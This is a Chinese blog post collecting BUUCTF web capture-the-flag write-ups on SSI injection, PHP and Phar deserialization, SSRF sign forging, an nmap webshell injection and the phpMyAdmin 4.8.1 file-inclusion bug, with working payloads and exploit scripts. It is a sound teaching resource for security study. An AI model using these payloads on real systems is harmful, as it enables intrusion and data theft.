0%

BUUCTF-Web刷题记录

image-20210606231439451

[BJDCTF2020]EasySearch

知识点:

SSI注入

打开页面为:

img

随便输入一个用户和密码会弹出Fail的提示。

扫描一下目录,发现.swp备份文件源码泄露

访问index.php.swp得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

关键代码:

1
2
3
4
5
6
7
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");

就是说我们输入的password经过md5加密后得到的字符串前六位需要是’6d0bc1’

写个脚本进行爆破:

1
2
3
4
5
6
7
8
import hashlib

for i in range(1,10000000):
a=hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[:6]=='6d0bc1':
print(i)
print(a)
break

爆破得到password为2020666

接着进行登录,通过bp发现:

img

输入正确的password后,在响应头部分出现了一个url。

我们试着访问这个url,效果如下:

img

保存的是登录信息,接着搜索shtml文件漏洞:

Apache SSI远程命令执行漏洞

漏洞原理:

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

这里我们就可以在username变量处传入SSI语句来远程执行系统命令:

img

img

发送后,我们访问响应头中返回的url:

img

得到flag字样的文件,访问这个文件得到flag:

img

[网鼎杯 2020 青龙组]AreUSerialz

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

is_valid函数的作用是限制输入的字符对应ascii在32-125之间,即为可打印字符。

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

我们开始反序列化,将只要令op=2,进入read函数,filename借助php://filter伪协议读取文件,同时将protected改为public

POC=>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

class FileHandler {

public $op=2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
// $this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
// $this->process();
}

}

// if(isset($_GET{'str'})) {

// $str = (string)$_GET['str'];
// if(is_valid($str)) {
// $obj = unserialize($str);
// }
$str=new FileHandler();
$obj=serialize($str);
echo $obj;

得到序列化信息:

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

payload=>

1
/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

成功打印flag。

img

[De1CTF 2019]SSRF Me

题目给出源码,是用python写的一个后端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):#python得构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#action要加read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #!!!校验
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')#根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()


def scan(param):#这是用来扫目录得函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):#这个waf比较没用好像
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

首先利用:

1
payload=http://276df312-a6ca-4ca2-8df9-10548923fc2d.node3.buuoj.cn/geneSign?param=flag.txtread

得到正确的sign值。

然后传入cookie:

img

[CISCN2019 华北赛区 Day1 Web1]Dropbox

涉及知识点

  • 任意文件下载
  • Phar反序列化RCE

解题

题目主页面是一个登录页面,随便注册一个账户进行登录

img

能够利用的就是上传文件,通过上传之后我们发现只允许上传gif和png格式的文件,并且上传成功之后会出现下载文件和删除文件的功能。

此处,便存在第一个漏洞点,任意文件下载,上传任意png格式的图片,抓包修改参数:

img

能够以这样的方式把已知的index.php,download.php,delete.php和class.php源码下载下来。

注意到File类中的close方法执行时会获得文件的内容,如果能触发该方法,就有机会得到flag。

运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传之后选择删除,burp抓包,修改参数,即可返回flag。

img

原理及源码分析

分析download.php的核心源码可以发现,该文件只有很常规的下载文件操作,并且限制了不能下载文件名中带有flag的文件。

1
2
3
4
5
6
7
8
9
<?php
//省略一些代码
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
//省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>

接着分析delete.php的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

单独看这段代码没有发现可以利用的地方,这段代码的作用只是返回一个成功或失败的消息。

接着分析class.php。

这个文件中定义了用户和文件相关的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
#代码精简一下
class File {
public $filename;

public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影响阅读的table创建代码
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '</tr>';
}
echo $table;
}
}
?>

File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag。

User类中存在close方法,并且该方法在对象销毁时执行。

同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

根据以上三条线索,梳理一下可以得出结论:

如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

[BUUCTF 2018]Online Tool

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

需要知道的是:

1
namp <?php phpinfo(); ?> -oG 1.php

可以写入一个文件

1
namp <?php phpinfo();> -oG 1.php\'

会写成1.php’ 而不是 1.php

escapeshellarg讲解

namp 可以写木马,那么我们要做的,让nmap执行那个命令。但是

这两个函数。会把我们的命令给放道单引号里,

‘<?php eval($_POST["a"]);?> -oG 1.php’最后的语句,就变成了:

nmap -T5 -sT -Pn –host-timeout 2 -F ‘<?php eval($_POST["a"]);?> -oG 1.php’ 我们的命令,被当成了字符串,而不是一条命令,那么我们就要想办法,闭合单引号。

payload=>

1
?host='<?php eval($_POST["cmd"]);?> -oG 1.php '

得到sandbox路径后,执行shell。

img

[GWCTF 2019]我有一个数据库

扫描目录,得到phpmyadmin文件夹,访问过去

img

得到了当前phpmyadmin的版本为4.8.1

网上可直接找到对应POC,phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

传入?target=db_datadict.php%253f,%253f开始服务器自动解码一次为%3f,然后urldecode函数再解码一次为?,则满足截取?之前的内容在白名单中,返回true。而在index.php中只解码一次为db_datadict.php%3f,然后进行包含

payload=> ?target=db_datadict.php%253f/../../../../../../../flag

img

----------------本文结束感谢阅读----------------